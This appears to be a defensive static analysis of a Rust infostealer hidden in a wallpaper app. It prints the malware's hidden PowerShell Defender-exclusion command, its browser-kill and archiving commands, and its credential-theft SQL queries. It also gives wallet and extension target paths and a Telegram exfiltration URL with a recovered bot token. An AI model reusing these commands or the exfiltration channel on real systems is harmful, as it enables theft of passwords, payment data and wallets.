0. Preface

The previous sample in this repository arrived labelled RustyStealer and turned out not to be a stealer at all — it was a hVNC remote access trojan calling itself Bridge Agent. This one arrived under the same label and is exactly what it says on the tin — which is worth stating plainly, because the two samples share a folder name, a language, and nothing else.

Everything below is static analysis. The sample was never executed, no VM was detonated, and no request was made to its infrastructure — in particular, the recovered Telegram bot token was never queried against the API. Unpacking was done with upx -d, decompilation with kuna under rustabi auto, and the string layer with a Unicorn-based emulator driven from the shell.

The sample presents itself as a wallpaper application called MakeList, published by Accessible Tool Inc. The wallpapers are real. There are ten of them, they total roughly 72 MB, and they account for 95% of the file. That is not laziness or a botched build — it is the first and cheapest anti-analysis measure in the sample, and it works on the largest number of defenders.

Underneath the wallpaper is a Rust infostealer that statically links a public C++ tool to do one job the Rust code cannot: break Chrome’s App-Bound Encryption from inside the browser process.

1. Sample Information

  • Original file name: b90911b23eee913a11dc19e983910497c3822f2c0f12722672cb790cadf3f4fa.exe
  • File type: executable, 64-bit (PE32+), GUI subsystem
  • File size: 75.893248 MB (79.712768 MB unpacked)
  • Hash values:
    • MD5: 4fb1d95832b2daa5125f7ff2e618df0b
    • SHA1: 8df2a2834beb8e7f61290ad647a943b76d37a7e9
    • SHA256: b90911b23eee913a11dc19e983910497c3822f2c0f12722672cb790cadf3f4fa
  • Compiler: Rust (release), statically linked with a MSVC C++ component; Microsoft Linker 14.43.34808 (Visual Studio 2022, 17.13)
  • Compile Timestamp: Thu May 21 03:05:14 2026 UTC
  • Packing/Obfuscation: UPX 5.02 (LZMA, brute), plus two independent in-binary string obfuscation layers described in 3.3 and 3.4
  • File Entropy Details (as delivered, packed):
SectionsEntropy
UPX00.00
UPX18.00
.rsrc7.19
  • File Entropy Details (after upx -d):
SectionsEntropy
.text6.47
.rdata06.94
.data4.27
.pdataer6.20
.reloc1s5.45
.rsrcet7.98

The unpacked section names are mangled (.rdata0, .pdataer, .rsrcet, .jer1c2, .coun1r2) because upx -d reconstructs a twelve-section layout from a three-section stub and does not perfectly restore the original names. They are cosmetic; the contents are correct.

A note on the compression ratio. UPX reports 95.21% — it barely shrank the file. That single number is the tell: a packer achieving 5% on a 76 MB binary is not compressing code, it is failing to compress already-compressed data. In this case, JPEG.

2. PE File Structure

  • Sections overview (after unpacking):
SectionsVirtual SizeRaw Size
.text30515203051008
.rdata035799043576832
.data2867225088
.pdataer7372870656
.reloc1s2457623552
.rsrcet7294156872940032
  • Certificate: Unsigned. The Security Directory is zero-sized.
  • Manifest: requestedExecutionLevel level="asInvoker", dpiAware=true. No elevation is requested — remember this at section 3.8.
  • Exports: none (this is an EXE).
  • Resources: this is where the file’s mass lives, and unusually, the resource directory survives packing intact — UPX leaves the tree readable so the loader can find the icon and version info. That makes the packed sample greppable without unpacking it:
ResourceTypeSize
50RESRCDATA54,816,196
ABSTRACT-ART-5120X3413-26359RCDATA9,870,732
ALEX-POATAN-PEREIRA-5120X2880-26393RCDATA8,238,143
PESEREPSGROUP_ICON20
1VERSION668
1MANIFEST540
  • Version resource:
FieldValue
CompanyNameAccessible Tool Inc.
ProductNameMakeList
FileDescriptionApplication for Deliver Specification
FileVersion5.1423.749.4000
LegalCopyright© 2026 Accessible Tool Inc.
InternalNameProject

InternalName: Project is the Visual Studio default that nobody remembered to change, sitting next to a FileDescription that reads like machine-translated filler. The identity is fabricated.

  • Suspicious imports, by what they enable:
DLLFunctionsEnables
GDI32CreateDCW, CreateCompatibleDC, CreateCompatibleBitmap, StretchBlt, GetDIBits, SetStretchBltModescreen capture
USER32EnumDisplayMonitors, GetMonitorInfoW, EnumDisplaySettingsExWmulti-monitor enumeration for capture
NTDLLNtCreateNamedPipeFile, NtCreateFile, NtOpenFile, NtReadFile, NtWriteFile, NtDeviceIoControlFilenamed-pipe IPC with the injected DLL (3.5)
KERNEL32CreateProcessW, GetProcAddress, LoadLibraryA/Wchild process launch, dynamic API resolution
KERNEL32CreateMutexA/W, ReleaseMutexsingle-instance control
ADVAPI32RegOpenKeyExW, RegQueryValueExW, CheckTokenMembership, AllocateAndInitializeSidregistry reads, privilege check
ADVAPI32SystemFunction036RtlGenRandom — nonce generation
CRYPT32CertOpenStore, CertGetCertificateChain, CertVerifyCertificateChainPolicyTLS chain validation
SECUR32AcquireCredentialsHandleA, InitializeSecurityContextW, EncryptMessage, DecryptMessageSChannel TLS for the C2
WS2_32WSASocketW, connect, send, recv, getaddrinfonetwork
OLE32 / OLEAUT32CoInitializeEx, CoInitializeSecurity, CoCreateInstance, SafeArray*COM, used for WMI

Two absences are informative. There is no CryptUnprotectData import, yet the string CryptUnprotectData appears in the decrypted string pool — DPAPI is resolved dynamically at runtime through GetProcAddress. And there is no WinHttp/WinInet at all: the HTTP stack is Rust’s own (reqwest/hyper) over raw sockets with SChannel TLS, so proxy-aware and WinInet-hooking telemetry will not see the exfiltration.

The crate list, recovered from the .cargo paths in the panic strings, describes the program before a single function is decompiled:

rusqlite (bundled SQLite), ring, aes / ctr / cipher, reqwest / hyper / hyper-tls / tokio, screenshots, png, zip / flate2 / bzip2 / zstd-safe, walkdir, wmi, regex / aho-corasick, serde_json, quick-xml, der-parser / asn1-rs, base64, hex, sha1_smol, widestring, schannel.

rusqlite beside walkdir beside zip beside reqwest is the canonical stealer shape: read databases, sweep files, archive, upload. screenshots and png add screen capture; wmi adds host profiling; der-parser and asn1-rs are there for Firefox’s NSS key material.

3. Code and Disassembly Observation

Symbols are stripped. kuna functions reports 7,246 functions, of which 606 carry names, and all 606 are import thunks. As with any Rust target, strings are the map — but in this sample the strings are obfuscated twice over, so the map has to be rebuilt before it can be read. Sections 3.2 through 3.4 are that reconstruction; 3.5 onward is what it revealed.

3.1 The bloat is the point

The 72 MB resource section is not padding, and it is not random filler used to inflate entropy. Every byte is a real, decodable JPEG. Eight of them live inside a nested Windows .RES container stored under the resource name 50RES; two more sit directly in the resource tree.

Resource nameDimensionsSize
BLACK-ASTA-BLACK-5120X6093-229725120 × 609312,168,561
THE-HUNGER-GAMES-5120X5287-262975120 × 528710,778,096
ABSTRACT-ART-5120X3413-263595120 × 34139,870,732
TOYOTA-GR-SUPRA-5120X2880-226435120 × 28809,702,031
ALEX-POATAN-PEREIRA-5120X2880-263935120 × 28808,238,143
KAME-HOUSE-DRAGON-5120X2880-250035120 × 28808,008,884
AIRA-SHIRATORI-5120X3400-246215120 × 34006,470,847
ASTRONAUT-DARK-5120X2880-227685120 × 28806,407,140
KEN-TAKAKURA-8000X4000-227148000 × 40001,279,946

The naming convention — subject, resolution, a numeric ID — is that of a wallpaper aggregator site, and the images are consistent with a scraped set. The lure is coherent: a wallpaper app that ships wallpapers.

What it buys the operator is threefold. Many AV engines and nearly every automated sandbox pipeline enforce a maximum file size and will skip a 76 MB submission outright. Whole-file entropy, the standard packer heuristic, reads 7.98 and looks like compressed media rather than a packed executable. And an analyst opening the resource tree first sees exactly what the version resource promised.

The actual malware is the 3 MB .text section. Everything in this report comes from 4% of the file.

3.2 Rebuilding the source tree from panic metadata

The binary is stripped, but Rust cannot strip panic locations: core::panic::Location records — a pointer to a file path, its length, a line and a column — must survive into the release binary because the runtime formats them when a panic fires.

Scanning .rdata for 24-byte structures whose first quadword points into a section and whose fourth field is a plausible line number recovers 158 author panic sites. Cross-referencing those addresses against lea reg, [rip+disp] instructions in .text then attributes each one to the function that references it, which reconstructs the author’s module layout and maps it onto real addresses:

Source fileFunctionRole
src\main.rs0x14004cbaaorchestration, recon, archive, exfiltration
src\chromium\dumper.rs0x1400676f2, 0x14007d7c7Chromium credential/cookie/card extraction
src\chrome_nuke.rs0x14005c459, 0x14006195e, 0x140062aa4browser termination, ABE bypass driver
src\firefox\firefox.rs0x14004cbaa, 0x1400638d5, 0x140065c5dNSS decryption, logins.json
src\firefox\mod.rs0x14004cbaaprofile enumeration
src\wallets\mod.rs0x140007859desktop wallet directories
src\misc\discord.rs0x14004243eDiscord token scraping
src\misc\sensitive_data.rs0x140002546Desktop/Documents grabber
src\misc\vpn.rs0x140002546VPN client configs
src\misc\uplay.rs0x140002546Ubisoft Game Launcher
src\messengers\element.rs0x14004cbaaElement (Matrix)
src\messengers\skype.rs0x14004cbaaSkype for Desktop

The highest line numbers seen per file give a rough size for each module — dumper.rs reaches line 1361, main.rs line 649, everything else under 350. The bulk of the engineering is in Chromium extraction.

The build paths leak two environments: C:\Users\user1\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ for the Rust half, and a Docker-style /rust/deps\ root for a handful of vendored crates. rustc-demangle is vendored in, which is unusual for a stealer and suggests the author reuses a template that formats its own backtraces.

3.3 Layer one: XOR behind five hundred pointer-derivation functions

strings on the unpacked binary returns no wallet names, no browser extension IDs, and no C2. Searching for Exodus, MetaMask, Electrum and thirty other obvious targets returns zero hits. The target lists are obfuscated.

Decompiling src\wallets\mod.rs shows the shape of it — a loop that XORs eight bytes at a time against a fixed .rdata address. Dropping to disassembly gives the real structure:

lea    rax,[rip+0x2d46cb]        ; 0x1402dc2cc   <- base pointer
movabs rax,0x9aae5f39e10305b3    ;               <- 64-bit seed
call   0x14001616b               ;               <- derivation routine
xor    ecx,ecx
lea    rdx,[rip+0x2e3b11]        ; 0x1402eb758   <- XOR key
movzx  r9d,BYTE PTR [rax+rcx*1]  ;               <- rax is the CALL RESULT
...
xor    r8,QWORD PTR [rcx+rdx*1]
cmp    rcx,0x18

The lea is not the ciphertext address. It is a base that gets handed, with a seed, to a small arithmetic routine:

imul   rax,rdx,0x9a7467b
mov    rdx,rax
shr    rdx,1
xor    rdx,rax
add    rdx,0xffffffffe756e27a
mov    rax,rdx
rol    rax,1
xor    eax,edx
movzx  eax,ax                    ; fold to 16 bits
add    rax,rcx                   ; base + offset
ret

The routine folds the seed to a 16-bit offset and adds it to the base. The ciphertext therefore has no direct reference anywhere in the binary — only a base pointer that lands somewhere else entirely, plus a magic number. Decryption is then a plain XOR against a key held in a separate .rdata region.

The scaling problem is that each string gets its own derivation routine. Searching .text for functions ending in add rax, rcx; ret finds 506 of them, nearly all with exactly one call site, each using different multipliers and constants. Hand-decoding does not scale, and a pattern-matcher on the arithmetic would need to handle 506 variants.

Emulation does scale. Mapping the image into Unicorn, locating every call site, recovering the base from the preceding lea and the seed from the preceding movabs, then executing the derivation routine yields the ciphertext address directly. String lengths come from the decrypt stub itself — the maximum byte-load displacement plus one, since the compiler unrolls the tail:

ct_addr   = emulate(routine, base, seed)
plaintext = ct[i] ^ key[i]      for i in 0..len
len       = max(byte-load displacement) + 1

That recovered 166 unique strings. Verifying the first one against the wallets module gives %APPDATA%\atomic\Local Storage\leveldb\ — Atomic Wallet, exactly where a stealer would look. Everything in 3.6 and 3.7 comes out of this pool.

3.4 Layer two: AES-256-GCM and the Telegram config

The C2 credentials are not in the layer-one pool. The format string is visible in .rdata:

https://api.telegram.org/bot{}/sendDocument?chat_id={}&caption={}&parse_mode=HTML

but both substitutions are filled at runtime from sub_140060bad, which the panic metadata attributes to main.rs lines 132–133. That function is called exactly twice, with two adjacent blobs:

lea  rdx,[rip+0x501242]   ; 0x140558210, length 0x4a (74)
call 0x140060bad
lea  rdx,[rip+0x501270]   ; 0x14055825a, length 0x27 (39)
call 0x140060bad

Inside, five layer-one strings are decrypted and appended to a single Vec via extend_from_slice. Recovering all five — the fifth uses inline immediate keys rather than a .rdata key region — gives an 88-byte passphrase:

"FGhuweweSq!2?uRe!"       // 17
"NSADGhqwwewedsa@!"       // 17
"nasdqwqSdsdwrsie2s!t3"   // 21
"pgfwrW!Sdwesdwwq1s3"     // 19
"pNeGerhgetWer3"          // 14   = 88 bytes

The 74-byte blob length is the giveaway for the scheme. 74 = 12 + 46 + 16: a 12-byte nonce, a 46-byte plaintext, and a 16-byte tag — and 46 characters is exactly the length of a Telegram bot token. That is AES-GCM with ring’s default nonce size, and ring 0.16.20 is in the crate list.

key  = SHA256(concat(parts))            // 32 bytes, AES-256
blob = nonce[12] ‖ ciphertext ‖ tag[16]

Both blobs decrypt and authenticate:

bot_token: 8710006622:AAHglf04vvsSVKGe7o3woIqkv1PteWZkRts
chat_id:   -5274674856

This is worth stating precisely, because it is the difference between a recovered indicator and a guessed one: GCM verifies the tag before returning plaintext. A wrong key does not produce plausible-looking garbage, it produces an exception. These two values are cryptographically confirmed, not inferred from pattern-matching.

3.5 ChromElevator: defeating App-Bound Encryption

Chrome 127 and later bind the os_crypt key to the browser executable through App-Bound Encryption. Reading Local State, base64-decoding encrypted_key and calling CryptUnprotectData — the technique every stealer used for a decade — no longer returns a usable key. The sample handles this by not attempting it from outside.

Around file offset 0x2fc4ac sits an ASCII banner spelling ChromElevator, followed by:

 Direct Syscall-Based Reflective Hollowing
 x64 & ARM64 |
 by @xaitax

This is public offensive-security tooling, statically linked into the Rust binary with its author’s credit and its verbose status strings intact. It ships with a ~1 MB AES-encrypted payload DLL at 0x1402ff200 — the only genuinely high-entropy region in .rdata (1,073,664 bytes at 7.98) — which is decrypted only in memory.

The status strings lay out the whole chain in order:

Terminating browser processes...
  [+] Processes terminated (PID:
Creating suspended process:
  [+] Process created (PID:
  [+] IPC pipe established:
Awaiting payload connection...
  [+] Payload connected
Deriving runtime decryption keys...
  [+] Payload decrypted (
  [+] Bootstrap entry point resolved (offset: 0x
Allocating memory in target process via syscall...
  [+] Memory allocated at 0x
  [+] Payload + parameters written
  [+] Memory protection set to PAGE_EXECUTE_READ
Creating remote thread via syscall...
  [+] Thread created (entry: 0x

Reading that as a sequence:

  1. taskkill /F /IM against chrome.exe and msedge.exe, releasing the SQLite locks.
  2. Locate the install through native NT registry paths — \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\, the Uninstall keys, and StartMenuInternet\...\shell\open\command — rather than the Win32 registry API.
  3. Parse the target’s PE headers and compare architecture, refusing on mismatch with Solution: Use chromelevator_.
  4. Launch the real browser suspended with --no-startup-window --headless.
  5. CreateNamedPipeW / ConnectNamedPipe for the result channel.
  6. Derive keys and decrypt the payload DLL in memory — it never touches disk in plaintext.
  7. Allocate in the target via direct syscall, write payload and parameters, set PAGE_EXECUTE_READ.
  8. Create the remote thread via direct syscall at a resolved bootstrap offset.
  9. Read tagged records back over the pipe until __DLL_PIPE_COMPLETION_SIGNAL__.

Targets are enumerated in UTF-16 as Chrome, Chrome Beta, Edge, Brave, and Avast Secure Browser. The component distinguishes an App-Bound Encryption Key from a Copilot App-Bound Encryption Key, and reports NO_ABE:No encryption key found in Local State when the protection is absent — with the Rust side carrying the matching string App-Bound Encryption not enabled.

The pipe protocol is tagged plaintext, which makes it the best host-based detection surface in the sample:

DEBUG:  PROFILE:  NO_ABE:  ASTER_KEY:  COOKIES:  PASSWORDS:  CARDS:  IBANS:  TOKENS:
__DLL_PIPE_COMPLETION_SIGNAL__

The significance of the direct-syscall path is that both the allocation and the thread creation bypass user-mode ntdll hooks, and the code runs inside a legitimate, Google-signed browser process that the user genuinely launched. Process lineage and userland API hooking — the two things most endpoint products lean on — are both weak here.

3.6 What the SQL asks for

Separating the sample’s own queries from bundled SQLite internals leaves a short list, and the last three are the interesting ones:

-- credentials and cookies
SELECT origin_url, username_value, password_value FROM logins
SELECT action_url, username_value, password_value FROM logins
SELECT host_key, name, path, is_secure, is_httponly, expires_utc,
       encrypted_value FROM cookies
SELECT name, value FROM autofill

-- payment instruments
SELECT guid, name_on_card, expiration_month, expiration_year,
       card_number_encrypted FROM credit_cards
SELECT guid, value_encrypted FROM local_stored_cvc
SELECT value_encrypted, nickname FROM local_ibans

-- Google account tokens
SELECT service, encrypted_token, binding_key FROM token_service
SELECT service, encrypted_token FROM token_service

local_stored_cvc is the stored card verification code. local_ibans is stored bank account numbers. token_service with binding_key is Chrome’s Google account token store — those tokens permit session resumption without a password and without a second factor.

An operator taking passwords is after credential resale. An operator taking CVCs, IBANs and bound session tokens is after payment fraud and direct account takeover. This is a deliberate target selection, not a copied query set.

Firefox is handled on its own path. The sample carries the PKCS#5 OIDs 1.2.840.113549.1.5.13 (PBES2) and 1.2.840.113549.3.7 (des-EDE3-CBC), queries SELECT item1, item2 FROM metadata WHERE id = 'password' and SELECT a11,a102 FROM nssPrivate, and checks password-check — the standard key4.db master-password derivation, implemented natively rather than by loading nss3.dll. Profiles come from Mozilla\Firefox\Profiles\, and output lands in Passwords\Firefox\.

Host recon runs over WMI:

SELECT Caption FROM Win32_OperatingSystem
SELECT Name FROM Win32_Processor
SELECT Name, CurrentHorizontalResolution, CurrentVerticalResolution FROM Win32_VideoController
SELECT SerialNumber FROM Win32_BaseBoard
SELECT displayName FROM AntiVirusProduct        -- root\SecurityCenter2

with system locale obtained by shelling out to powershell.exe -NoProfile -NonInteractive -NoLogo -Command Get-Culture | Select -ExpandProperty DisplayName, and geolocation from http://ipwho.is/?output=json — over cleartext HTTP, parsing ip, country, country_code, city, postal, isp, asn and timezone.

3.7 Wallets, extensions, and the password managers

Eleven desktop wallet directories are read directly:

%APPDATA%\atomic\Local Storage\leveldb\
%APPDATA%\exodus\exodus.wallet\
%APPDATA%\Electrum\wallets\
%APPDATA%\Ethereum\keystore\
%APPDATA%\Bitcoin\
%APPDATA%\bytecoin\
%APPDATA%\Armory\
%APPDATA%\Guarda\Local Storage\leveldb\
%APPDATA%\com.cakewallet.cake_wallet\Cake Wallet\wallets\
%APPDATA%\Wallets\Jaxx\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
%LOCALAPPDATA%\Coinomi\Coinomi\wallets\

Alongside those, 73 browser extension IDs are collected from Default\Local Extension Settings\ and Default\IndexedDB\. The list covers the expected wallets — MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn), Coinbase, Binance, Phantom, TronLink, Ronin, Keplr, Maiar, Glow, Hycon — but it also includes, by the plaintext labels sitting beside the IDs in the same string pool, several password managers:

Norton Password Manager      admmjipmmciaobhojoghlmleefbicajg
Avira Password Manager       caljgklbbfbcjjanaijlacgncafpegll
Trezor Password Manager      imloifkgjagghnncjkhggdhalmcnfklk
EOS Authenticator            oeljdldpnmdbchonielidgobddffflal

A password manager extension store is a higher-value target than any single wallet, and its presence alongside local_stored_cvc and token_service reinforces the read in 3.6.

Browser profile coverage is broad — Chrome Default plus Profile 1 through Profile 5 and Chrome SxS, Edge, Brave, Yandex, Opera Stable and Opera GX, Vivaldi, CentBrowser, Orbitum, 7Star, Sputnik, Iridium, Uran, and Epic Privacy Browser.

Discord tokens are scraped from LevelDB with the regex [\w-]{24}\.[\w-]{6}\.[\w-]* and written to Discord/tokens.txt. Element (Matrix) and Skype for Desktop local storage are collected from \Element\ and Microsoft\Skype for Desktop\Local Storage\. FileZilla contributes recentservers.xml. A document grabber sweeps \Desktop\ and \Documents\.

3.8 The Defender exclusion, and what is missing around it

The most consequential single string in the sample:

powershell.exe -WindowStyleHidden Set-MpPreference -ExclusionPath C:\

A hidden PowerShell process adding the entire system drive as a Microsoft Defender exclusion. Paired with it is a drop primitive built the same way:

') | [System.IO.File]::WriteAllBytes('

used to write chromelevator_x64.exe and chrome_decrypt_x64.dll to disk.

This is where the manifest from section 2 matters. Set-MpPreference requires administrative privilege, and the binary requests asInvoker — it does not ask for elevation, and there is no UAC bypass, token manipulation, or runas path anywhere in the sample. On a standard user account this call should simply fail. The malware issues it unconditionally and does not appear to check the result. Either the operator assumes admin-by-default home machines, or this is copied boilerplate that fires and fails silently. Statically I cannot distinguish those, and 6.2 records it as unresolved.

What is absent is as informative as what is present. There is no persistence mechanism — no Run key, no scheduled task, no service, no Startup folder write anywhere in the string pool or the import table. There are no VM, sandbox, or debugger checks of the sample’s own (IsDebuggerPresent is imported, but only by the MSVC CRT). The string Just a garbage string sits in .rdata as apparent filler.

This is a single-shot smash-and-grab: run once, take everything, upload, exit.

3.9 Staging and exfiltration

Collected data is staged into a directory tree that the layer-one strings lay out completely — \Passwords\, \Cookies\, \Creditcards\, \Autofill\, \Wallets\, \Element\, \Skype\, with flat files passwords.txt, creditcards.txt, autofill.txt, user_info.txt, ]_Network.txt, and screenshots as \screen<N>.png.

The tree is archived with PowerShell:

Compress-Archive -Path ... -Destination ... -CompressionLevel Fastest -Force

producing out.zip, which is uploaded as a Telegram document with MIME type application/zip. The caption carries the victim summary — a -- Log Info - header followed by IP, country, city, ISP, and counts of cookies, passwords and profiles, with %0A as the line separator and parse_mode=HTML.

https://api.telegram.org/bot8710006622:AAHglf04vvsSVKGe7o3woIqkv1PteWZkRts
    /sendDocument?chat_id=-5274674856&caption=<summary>&parse_mode=HTML

Fallback values country_code, XX and 0.0.0.0 sit next to the geolocation fields, so exfiltration proceeds even when the ipwho.is lookup fails.

4. Malware Capabilities

  • Command and Control:
    • Single hardcoded Telegram bot, credentials AES-256-GCM encrypted in .rdata, key derived as SHA256 of five concatenated XOR-obfuscated strings
    • POST https://api.telegram.org/bot<token>/sendDocument — exfiltration and C2 are the same channel; there is no command retrieval, no tasking, no beacon
    • TLS via SChannel through Rust’s own HTTP stack, not WinHTTP/WinInet
  • Defense Evasion:
    • UPX 5.02 (LZMA) packing
    • 72 MB of genuine JPEG wallpaper inflating the file past sandbox and AV size limits and disguising whole-file entropy as compressed media
    • Forged version resource (Accessible Tool Inc. / MakeList)
    • Two independent string obfuscation layers — per-string pointer derivation plus XOR, and AES-256-GCM for the C2
    • Set-MpPreference -ExclusionPath C:\ via hidden PowerShell (privilege-dependent — see 6.2)
    • Direct syscalls for remote allocation and thread creation, bypassing user-mode ntdll hooks
    • Code executes inside a legitimate signed browser process
    • Dynamic resolution of CryptUnprotectData rather than importing it
  • Credential Access:
    • Chromium logins, cookies, autofill, credit_cards, local_stored_cvc, local_ibans, token_service (including binding_key)
    • Chrome App-Bound Encryption bypass via statically linked ChromElevator (@xaitax) — reflective hollowing of Chrome, Chrome Beta, Edge, Brave, Avast Secure Browser; handles the distinct Copilot ABE key
    • Firefox/Gecko: native NSS key4.db decryption (PBES2 + des-EDE3-CBC), logins.json, master-password check
    • 73 browser extension stores, including Norton, Avira and Trezor password managers and EOS Authenticator
    • Discord tokens by regex from LevelDB
  • Collection:
    • 11 desktop wallet directories (Atomic, Exodus, Electrum, Ethereum keystore, Bitcoin, Bytecoin, Armory, Guarda, Cake, Jaxx, Coinomi)
    • Multi-monitor screen capture via GDI, encoded as PNG
    • Desktop and Documents document grabber
    • Element (Matrix), Skype for Desktop, FileZilla recentservers.xml, VPN client configs, Ubisoft Game Launcher
    • Host profile via WMI (OS, CPU, GPU, resolution, baseboard serial), installed AV via root\SecurityCenter2, locale via PowerShell Get-Culture
    • Geolocation via http://ipwho.is/?output=json
  • Impact / Execution:
    • taskkill /F /IM against chrome.exe and msedge.exe to release database locks
    • Drops and executes chromelevator_x64.exe and chrome_decrypt_x64.dll
  • Persistence:
    • None. No Run key, scheduled task, service, or Startup artifact exists in the sample.

What it does not do: retrieve commands, maintain a foothold, spread laterally, deploy a loader stage, or check for virtualisation. This is collection and exit.

5. Indicators of Compromise

TypeValue
SHA256b90911b23eee913a11dc19e983910497c3822f2c0f12722672cb790cadf3f4fa
SHA18df2a2834beb8e7f61290ad647a943b76d37a7e9
MD54fb1d95832b2daa5125f7ff2e618df0b
Telegram bot token8710006622:AAHglf04vvsSVKGe7o3woIqkv1PteWZkRts
Telegram chat ID-5274674856
C2 endpointhttps://api.telegram.org/bot<token>/sendDocument
Geolocation URLhttp://ipwho.is/?output=json (cleartext HTTP)
Version resourceAccessible Tool Inc. / MakeList / Application for Deliver Specification / 5.1423.749.4000
Resource names (survive packing)50RES, PESEREPS, ABSTRACT-ART-5120X3413-26359, ALEX-POATAN-PEREIRA-5120X2880-26393
Dropped filechromelevator_x64.exe
Dropped filechrome_decrypt_x64.dll
Staged archiveout.zip (application/zip)
Staged filesuser_info.txt, passwords.txt, creditcards.txt, autofill.txt, ]_Network.txt, screen<N>.png
Staged directories\Passwords\, \Cookies\, \Creditcards\, \Autofill\, \Wallets\, \Element\, \Skype\
Working directorieschrome_nuke_backup, extensions_backup
Discord outputDiscord/tokens.txt
Firefox outputPasswords\Firefox\, Firefox_qnq0haq7.default-release.txt
IPC pipe marker__DLL_PIPE_COMPLETION_SIGNAL__
IPC record tagsDEBUG:, PROFILE:, NO_ABE:, ASTER_KEY:, COOKIES:, PASSWORDS:, CARDS:, IBANS:, TOKENS:
Commandpowershell.exe -WindowStyleHidden Set-MpPreference -ExclusionPath C:\
CommandCompress-Archive -Path ... -CompressionLevel Fastest -Force
Commandtaskkill /F /IM chrome.exe / msedge.exe
Browser flags--no-startup-window --headless
Embedded tool bannerDirect Syscall-Based Reflective Hollowing, by @xaitax
Config key materialFGhuweweSq!2?uRe!NSADGhqwwewedsa@!nasdqwqSdsdwrsie2s!t3pgfwrW!Sdwesdwwq1s3pNeGerhgetWer3
Filler stringJust a garbage string
Build pathC:\Users\user1\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\
Build path/rust/deps\
Discord token regex[\w-]{24}\.[\w-]{6}\.[\w-]*

A note on hunting. The single highest-fidelity signal here is Set-MpPreference -ExclusionPath C:\ from a non-elevated, non-administrative process — excluding the entire system drive has essentially no legitimate occurrence, and because the sample never elevates, the failed attempt is just as loggable as a successful one. Second is the sequence taskkill /F /IM chrome.exe followed within seconds by a Chrome launch carrying --headless --no-startup-window from a non-browser parent, then a named pipe created by that same parent — that ordering is the ChromElevator chain and is specific to it. Third, at the file level, the resource names 50RES and PESEREPS survive UPX packing, so they are greppable on the sample as delivered without unpacking anything.

For the network side, the bot token is the whole channel: revoking it via BotFather, or blocking api.telegram.org egress from workstations that have no business reaching it, severs the operator’s collection entirely. There is no fallback C2, no domain generation, and no dead drop.

Finally, size-based scanning exclusions deserve a look after this sample. A 76 MB executable that is 95% JPEG defeats a file-size cap trivially, and the technique costs the operator nothing but bandwidth.

6. Analysis Limitations

Four things could not be settled statically, and it is worth separating properties of the sample from gaps in the analysis:

  1. Roughly 340 of the ~500 layer-one obfuscation sites did not yield strings. The automated extraction requires a recognisable lea + movabs + call shape ahead of each derivation call and a lea for the key after it; call sites where the compiler scheduled those differently, spilled the base to stack, or reused a register were skipped. The 166 strings recovered are a floor on the target list, not a ceiling — in particular, the wallet and extension inventories in 3.7 should be read as “at least these”, and any per-victim configuration that might exist would sit in the unrecovered remainder.

  2. Whether the Defender exclusion succeeds is unresolved. The command requires administrative privilege; the manifest requests asInvoker; there is no elevation path in the sample. Whether the operator relies on admin-by-default consumer machines, or whether this is inherited boilerplate that fails silently, cannot be determined without executing on both a standard and an elevated account.

  3. The injected DLL was not analysed. The ~1 MB payload at 0x1402ff200 is AES-encrypted with keys derived at runtime inside the ChromElevator component (Deriving runtime decryption keys...), and I did not reproduce that derivation. Everything reported about the injected stage in 3.5 comes from the injector’s own strings and the pipe protocol — the tags it emits are known, but its full behaviour inside the browser process is not. Anyone continuing this should breakpoint after [+] Payload decrypted ( and dump the plaintext DLL from memory rather than attacking the blob statically.

  4. Two functions were read only in part. sub_14004cbaa — the orchestrator, carrying main.rs, both messenger modules and firefox/mod.rs inlined into it — is large enough that kuna’s output is dominated by monomorphised iterator chains, and sub_1400676f2 (chromium/dumper.rs, reaching line 1361) has the same problem. The API sequences, SQL, and constants reported above were confirmed against disassembly, but the full control flow of both was not walked, so the ordering of collection steps in 3.9 is inferred from the staging layout rather than traced.

Nothing here was validated dynamically. The sample was not executed, and the Telegram token was never contacted — so the C2’s liveness at time of writing is unknown, and the behaviours in section 4 are capabilities present in the code rather than observed actions.

Treat as an infostealer with a current Chrome App-Bound Encryption bypass. Unlike the previous RustyStealer-labelled sample in this repository, the folder label is accurate this time. The distinguishing features are the ABE bypass — which defeats the protection that broke most older cookie stealers, and does so from inside a signed browser process using direct syscalls — and a target list that reaches past passwords into stored CVCs, IBANs, bound Google session tokens, and password-manager extension stores. Against that, the tradecraft has plain seams: unmodified public tooling with its author’s banner left in, a single hardcoded bot with no fallback, and no persistence at all.